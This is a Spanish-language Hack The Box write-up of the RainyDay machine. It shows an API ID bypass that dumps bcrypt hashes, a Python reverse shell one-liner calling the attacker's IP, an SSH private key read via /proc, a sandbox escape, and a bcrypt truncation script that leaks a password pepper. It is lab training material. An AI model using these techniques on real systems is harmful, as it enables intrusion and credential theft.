RainyDay - Hack The Box

Recon

❯ nmap -sCV -p22,80 10.10.11.184 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-01 12:28 CST
Nmap scan report for 10.10.11.184
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:dd:e3:61:dc:5d:58:78:f8:81:dd:61:72:fe:65:81 (ECDSA)
|_  256 ad:bf:0b:c8:52:0f:49:a9:a0:ac:68:2a:25:25:cd:6d (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Agregamos el subdominio al /etc/hosts

echo "10.10.11.184 rainycloud.htb" | sudo tee -a /etc/hosts
10.10.11.184 rainycloud.htb
❯ ping -c 1 rainycloud.htb
PING rainycloud.htb (10.10.11.184) 56(84) bytes of data.
64 bytes from rainycloud.htb (10.10.11.184): icmp_seq=1 ttl=63 time=194 ms

--- rainycloud.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 194.061/194.061/194.061/0.000 ms

Enumeracion

De primeras vemos que hay un nombre de un contenedor y hay un usuario

Vemos que nos dicen que como tal ofrecen contenedores Docker

Si vamos ala parte de Login vemos que como tal hay un panel de autenticacion pero solamente conocemos un usuario pero no su contraseña

Si vamos a /containers vemos que nos redirige a otra ruta que es a Login

❯ curl -s http://10.10.11.184/containers
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://rainycloud.htb">http://rainycloud.htb</a>. If not, click the link.

De momento no vemos nada interante

Vemos una ruta interesante llamada api

❯ gobuster dir -u http://rainycloud.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://rainycloud.htb
[+] Method:                  GET
[+] Threads:                 80
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/new                  (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 3254]
/register             (Status: 200) [Size: 3686]
/api                  (Status: 308) [Size: 239] [--> http://rainycloud.htb/api/]
/logout               (Status: 302) [Size: 189] [--> /]

Y bueno esto ya pinta interesante

Vemos un solo contenedor

❯ curl -s http://rainycloud.htb/api/list
{"secrets":{"image":"alpine-python:latest","user":"jack"}}

Bueno solo vemos esto

❯ curl -s http://rainycloud.htb/api/healthcheck
{"result":true,"results":[]}

Y bueno para la parte de user vemos que se usa el parametro id entonces con esto podemos saber que como tal usan un identificador cada uno pueden ser numeros o sus nombres podemos probar desde consola para ver las respuestas que obtenemos

❯ curl -s http://rainycloud.htb/api/user/1
{"Error":"Not allowed to view other users info!"}

Con numeros enteros no funciona

❯ curl -s http://rainycloud.htb/api/user/2
{"Error":"Not allowed to view other users info!"}
❯ curl -s http://rainycloud.htb/api/user/3
{"Error":"Not allowed to view other users info!"}

Shell in container

Podemos probar agregando un valor .0 y funciona para eso hice esto script de Python3 para automatizar aunque tambien podria haberse hecho en un oneliner de bash

https://github.com/MikeRega7/Scripts/blob/main/HackTheBox/RainyDay/script.py

❯ python3 script.py

Respuesta http://rainycloud.htb/api/user/1.0: {'id': 1, 'password': '$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O', 'username': 'jack'}

Respuesta http://rainycloud.htb/api/user/2.0: {'id': 2, 'password': '$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W', 'username': 'root'}

Respuesta http://rainycloud.htb/api/user/3.0: {'id': 3, 'password': '$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG', 'username': 'gary'}

Respuesta http://rainycloud.htb/api/user/4.0: {}

Respuesta http://rainycloud.htb/api/user/5.0: {}

Respuesta http://rainycloud.htb/api/user/6.0: {}

Respuesta http://rainycloud.htb/api/user/7.0: {}

Respuesta http://rainycloud.htb/api/user/8.0: {}
^C

[+] Saliendo...

Ahora vamos a crackear los hashes que tenemos para si obtenemos alguna credencial

❯ catn hashes
gary:$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG
jack:$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root:$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W

Pero bueno solo obtenemos 1 credencial, tarda por que se esta usando bcrypt

Y bueno al parecer si que hace los hashes mas robustos

❯ python3
Python 3.11.7 (main, Dec  8 2023, 14:22:46) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> password = b"mi_contrasena_secreta"
>>> hashed_password = bcrypt.hashpw(password, bcrypt.gensalt())
>>> print("Hashed Password:", hashed_password.decode())
Hashed Password: $2b$12$gw41sBuG.ZhCtnkAu/ucSOED/LxBropBHwRwRfWmMUge7FKoHr3om
>>> 

Como decia la imagen usa un salting para agregar datos aleatorios ala contraseña antes de agregar el algoritmo

La contraseña se encuentra en esa linea

cat /usr/share/wordlists/rockyou.txt | grep -n "rubberducky"
9217:rubberducky
❯ catn creds.txt
gary:rubberducky

Si iniciamos sesion vemos que nos podemos conectar

Y ahora si podemos ir a containers

Bueno para hacer pruebas hice un contenedor y ejecute el comando id a lo cual funciono como el contenedor corre Python3 podemos enviarnos una reverse shell

❯ catn command_output.txt
uid=1337 gid=1337

Nos podemos en escucha

❯ nc -nlvp 443
listening on [any] 443 ...

Eh ingresamos al docker con la siguiente reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.58",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Podemos ejecutar comandos

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.58] from (UNKNOWN) [10.10.11.184] 34552
/bin/sh: can't access tty; job control turned off
/ $ whoami
whoami: unknown uid 1000
/ $ id
uid=1000 gid=1000
/ $ 

Si vemos los procesos que estan corriendo vemos esto

1196 1000      0:00 sleep 100000000

Podemos ir al directorio con PID

/proc/1196 $ ls -la
total 0
dr-xr-xr-x    9 1000     1000             0 Jan  1 19:51 .
dr-xr-xr-x  284 root     root             0 Jan  1 19:50 ..
-r--r--r--    1 1000     1000             0 Jan  1 19:54 arch_status
dr-xr-xr-x    2 1000     1000             0 Jan  1 19:54 attr
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 autogroup
-r--------    1 1000     1000             0 Jan  1 19:54 auxv
-r--r--r--    1 1000     1000             0 Jan  1 19:54 cgroup
--w-------    1 1000     1000             0 Jan  1 19:54 clear_refs
-r--r--r--    1 1000     1000             0 Jan  1 19:51 cmdline
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 comm
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 coredump_filter
-r--r--r--    1 1000     1000             0 Jan  1 19:54 cpu_resctrl_groups
-r--r--r--    1 1000     1000             0 Jan  1 19:54 cpuset
lrwxrwxrwx    1 1000     1000             0 Jan  1 19:54 cwd -> /home/jack
-r--------    1 1000     1000             0 Jan  1 19:54 environ
lrwxrwxrwx    1 1000     1000             0 Jan  1 19:54 exe -> /usr/bin/sleep
dr-x------    2 1000     1000             0 Jan  1 19:54 fd
dr-xr-xr-x    2 1000     1000             0 Jan  1 19:54 fdinfo
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 gid_map
-r--------    1 1000     1000             0 Jan  1 19:54 io
-r--r--r--    1 1000     1000             0 Jan  1 19:54 limits
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 loginuid
dr-x------    2 1000     1000             0 Jan  1 19:54 map_files
-r--r--r--    1 1000     1000             0 Jan  1 19:54 maps
-rw-------    1 1000     1000             0 Jan  1 19:54 mem
-r--r--r--    1 1000     1000             0 Jan  1 19:54 mountinfo
-r--r--r--    1 1000     1000             0 Jan  1 19:54 mounts
-r--------    1 1000     1000             0 Jan  1 19:54 mountstats
dr-xr-xr-x   54 1000     1000             0 Jan  1 19:54 net
dr-x--x--x    2 1000     1000             0 Jan  1 19:54 ns
-r--r--r--    1 1000     1000             0 Jan  1 19:54 numa_maps
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 oom_adj
-r--r--r--    1 1000     1000             0 Jan  1 19:54 oom_score
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 oom_score_adj
-r--------    1 1000     1000             0 Jan  1 19:54 pagemap
-r--------    1 1000     1000             0 Jan  1 19:54 patch_state
-r--------    1 1000     1000             0 Jan  1 19:54 personality
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 projid_map
lrwxrwxrwx    1 1000     1000             0 Jan  1 19:54 root -> /
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 sched
-r--r--r--    1 1000     1000             0 Jan  1 19:54 schedstat
-r--r--r--    1 1000     1000             0 Jan  1 19:54 sessionid
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 setgroups
-r--r--r--    1 1000     1000             0 Jan  1 19:54 smaps
-r--r--r--    1 1000     1000             0 Jan  1 19:54 smaps_rollup
-r--------    1 1000     1000             0 Jan  1 19:54 stack
-r--r--r--    1 1000     1000             0 Jan  1 19:51 stat
-r--r--r--    1 1000     1000             0 Jan  1 19:54 statm
-r--r--r--    1 1000     1000             0 Jan  1 19:54 status
-r--------    1 1000     1000             0 Jan  1 19:54 syscall
dr-xr-xr-x    3 1000     1000             0 Jan  1 19:54 task
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 timens_offsets
-r--r--r--    1 1000     1000             0 Jan  1 19:54 timers
-rw-rw-rw-    1 1000     1000             0 Jan  1 19:54 timerslack_ns
-rw-r--r--    1 1000     1000             0 Jan  1 19:54 uid_map
-r--r--r--    1 1000     1000             0 Jan  1 19:54 wchan
/proc/1196 $ 

Hay un enlace simbolico cwd que apunta a /home/jack/

Vemos la flag

/proc/1196 $ cd cwd
sh: getcwd: No such file or directory
(unknown) $ ls
user.txt
sh: getcwd: No such file or directory
(unknown) $ 

User.txt in container /home/jack

Podemos ver la flag

(unknown) $ cat user.txt
7b918794aebc6cfe1ee50120b1f12189
sh: getcwd: No such file or directory
(unknown) $ 

Vemos que hay un .ssh

(unknown) $ ls -la
total 28
drwxr-x---    3 1000     1000          4096 Sep 29  2022 .
drwxr-xr-x    4 root     root          4096 Sep 29  2022 ..
lrwxrwxrwx    1 root     root             9 Sep 29  2022 .bash_history -> /dev/null
-rw-r--r--    1 1000     1000           220 Jan  6  2022 .bash_logout
-rw-r--r--    1 1000     1000          3771 Jan  6  2022 .bashrc
-rw-r--r--    1 1000     1000           807 Jan  6  2022 .profile
drwx------    2 1000     1000          4096 Sep 29  2022 .ssh
-rw-r-----    1 root     1000            33 Jan  1 18:24 user.txt
sh: getcwd: No such file or directory
(unknown) $ 

Y encontramos una id_rsa

(unknown) $ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
sh: getcwd: No such file or directory
(unknown) $ 

SSH with jack

❯ nano id_rsa
❯ chmod 600 id_rsa

Y bueno vemos que funciona la id_rsa

❯ ssh -i id_rsa jack@10.10.11.184
The authenticity of host '10.10.11.184 (10.10.11.184)' can't be established.
ED25519 key fingerprint is SHA256:Viqe6Xw5EhBjOCOc4uT1fiK/9QOsIHMUDk9MwZi9YAQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.184' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-50-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  1 Jan 20:00:06 UTC 2024

  System load:                      0.009765625
  Usage of /:                       65.6% of 5.13GB
  Memory usage:                     13%
  Swap usage:                       0%
  Processes:                        227
  Users logged in:                  0
  IPv4 address for br-a3f745892c3b: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.184
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:c446


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

jack@rainyday:~$ export TERM=xterm
jack@rainyday:~$ 

Vemos que hay un safe_python pero el problema es que nos tenemos que convertir en jack_adm para ejecutarlo

jack@rainyday:/home$ sudo -l
Matching Defaults entries for jack on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on localhost:
    (jack_adm) NOPASSWD: /usr/bin/safe_python *
jack@rainyday:/home$ 

Shell as jack_adm

Como podemos correr lo que sea con jack_adm podemos correr el siguiente script para convertirnos en el https://github.com/kn32/python-buffered-reader-exploit/tree/master

jack@rainyday:/dev/shm$ sudo -u jack_adm safe_python exploit.py 
[*] .dynamic:   0x55cde070ebe8
[*] DT_SYMTAB:  0x55cde01ad5f8
[*] DT_STRTAB:  0x55cde01ba300
[*] DT_RELA:    0x55cde0213560
[*] DT_PLTGOT:  0x55cde070ee08
[*] DT_INIT:    0x55cde0217000
[*] Found system at rela index 97
[*] Full RELRO binary, reading system address from GOT
[*] system:     0x7fc002f18d60
$ whoami
jack_adm

Podemos enviar una reverse shell

Antes de seguir yo hice la maquina hace mucho tiempo hay otra forma de ser jack_adm al igual que ser jack_adm en la pagina web para poder acceder en el panel de login para hacer eso hay que conseguir una cookie se tiene que usar flask-unsign y conseguir el SECRET_KEY ya que hay un subdominio dev.rainyday.htb solo que yo estoy mostrando la forma mas rapida y facil de conseguir la maquina si quieren ver esa parte al final del post les dejo otros writeups

Recuerden hacer esto

script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
ENTER

Escalada de privilegios

Esto es lo que contiene safe_python

jack_adm@rainyday:~$ cat /usr/bin/safe_python 
#!/usr/bin/python3

import os,sys

SAFE_FUNCTIONS = ["open", "print", "len", "id", "int", "bytearray", "range", "hex", "str"]
DANGEROUS_DEFAULTS = ["__import__", "__doc__", "__package__", "__loader__", "__spec__", "__name__"]

env = {}
env["locals"]   = None
env["globals"]  = None #{"__builtins__": {"open": open, "os": os}}
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
my_builtins = __builtins__.__dict__.copy()

for a in __builtins__.__dict__:
	if a in DANGEROUS_DEFAULTS:
		del my_builtins[a]
		continue

	if a.startswith("__") or a.lower() in SAFE_FUNCTIONS:
		continue

	del my_builtins[a]

env['__builtins__'] = my_builtins

with open(sys.argv[1]) as f:
	exec(f.read(), env)
jack_adm@rainyday:~$ 

Este script proporciona un entorno seguro ya que restringe el acceso a funciones peligrosas

Vemos que podemos correr como root este script

jack_adm@rainyday:/dev/shm$ sudo -l
Matching Defaults entries for jack_adm on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jack_adm may run the following commands on localhost:
    (root) NOPASSWD: /opt/hash_system/hash_password.py
jack_adm@rainyday:/dev/shm$ 

No tenemos permiso de ver el contenido

jack_adm@rainyday:/dev/shm$ cat /opt/hash_system/hash_password.py
cat: /opt/hash_system/hash_password.py: Permission denied
jack_adm@rainyday:/dev/shm$ 

Vemos que esta usando Bcrypt otra vez

jack_adm@rainyday:/dev/shm$ sudo /opt/hash_system/hash_password.py
Enter Password> zi
[+] Hash: $2b$05$bnXMTogKKaFXK3tgReZp9Ov7I.F7Zv7PBF3az9niG4JNIu1pmS3te
jack_adm@rainyday:/dev/shm$ 

Si recordamos la explicacion necesitamos saber el salt antes de crakearla

En bcrypt hay un limite que es 72 bytes pero no nos deja introducir mas de 30 caracteres https://security.stackexchange.com/questions/39849/does-bcrypt-have-a-maximum-password-length

jack_adm@rainyday:/dev/shm$ sudo /opt/hash_system/hash_password.py
Enter Password> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] Invalid Input Length! Must be <= 30 and >0
Enter Password> 

Debemos establecer una longitud de 71 bytes antes de llegar al maximo podemos utlizar este script que lo que hace es un ataque de fuerza bruta probando secuencialmente todas las combinaciones posibles de caracteres se usa bcrypt.checkpw para verificar si la contraseña coincide con el hash obtenido

Al ejecutar el siguiente script obtenemos el secret

import os  
import string  
import bcrypt  
secret=""  
while True:  
    length=71-len(secret)  
    remainder=length%4  
    junk="😈"*int(length/4)  
    junk+= "A" *remainder  
  
    x=os.popen(f"echo {junk} | sudo /opt/hash_system/hash_password.py").read()  
    pwhash=x.split(": ")[1].strip()  
    for i in string.printable[:-6]:  
        password=f"{junk}{secret}{i}"  
        print(f"\r{secret}{i}",end="")  
        if bcrypt.checkpw(password.encode(),pwhash.encode()):  
            secret+=i  
            print(f"\r{secret}",end="")  
            break

Tal vez la estructura del hash se pueda ver algo asi $2b$05$H34vyR41n…

Ahora con esto podemos crackear el hash original de root que obtuvimos al principio

❯ catn roothash
root:$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W

Ahora podemos agregarla al rocyou.txt

sed 's/$/H34vyR41n/' /usr/share/wordlists/rockyou.txt > newwordlist.txt

Y Ahora lo crackeamos

❯ john --wordlist=newwordlist.txt roothash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
246813579H34vyR41n (root)     
1g 0:00:00:06 DONE (2024-01-01 16:51) 0.1445g/s 1373p/s 1373c/s 1373C/s exoticH34vyR41n..12356H34vyR41n
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Ahora simplemente migramos a root

❯ ssh -i id_rsa jack@10.10.11.184
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-50-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  1 Jan 22:52:55 UTC 2024

  System load:                      0.0537109375
  Usage of /:                       65.0% of 5.13GB
  Memory usage:                     12%
  Swap usage:                       0%
  Processes:                        231
  Users logged in:                  1
  IPv4 address for br-a3f745892c3b: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.184
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:5cca


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jan  1 22:06:55 2024 from 10.10.14.58
jack@rainyday:~$ su root                                                                                                       
Password: 
root@rainyday:/home/jack# 

Root.txt && and final script

root@rainyday:~# cat root.txt 
4e1ed7b7565511857ef508bad0bc2685
root@rainyday:~# 

Aqui podemos ver el script que se usaba

root@rainyday:~# cat /opt/hash_system/hash_password.py 
#!/usr/bin/python3

import bcrypt
from config import SECRET

while True:
	user_input = input("Enter Password> ")
	if len(user_input) > 30 or len(user_input)==0:
		print("[+] Invalid Input Length! Must be <= 30 and >0")
	else:
		data = (user_input + SECRET).encode()
		hashed = bcrypt.hashpw(data, bcrypt.gensalt(rounds=5))
		print(f"[+] Hash: {hashed.decode()}")
		break
root@rainyday:~# 

Extra information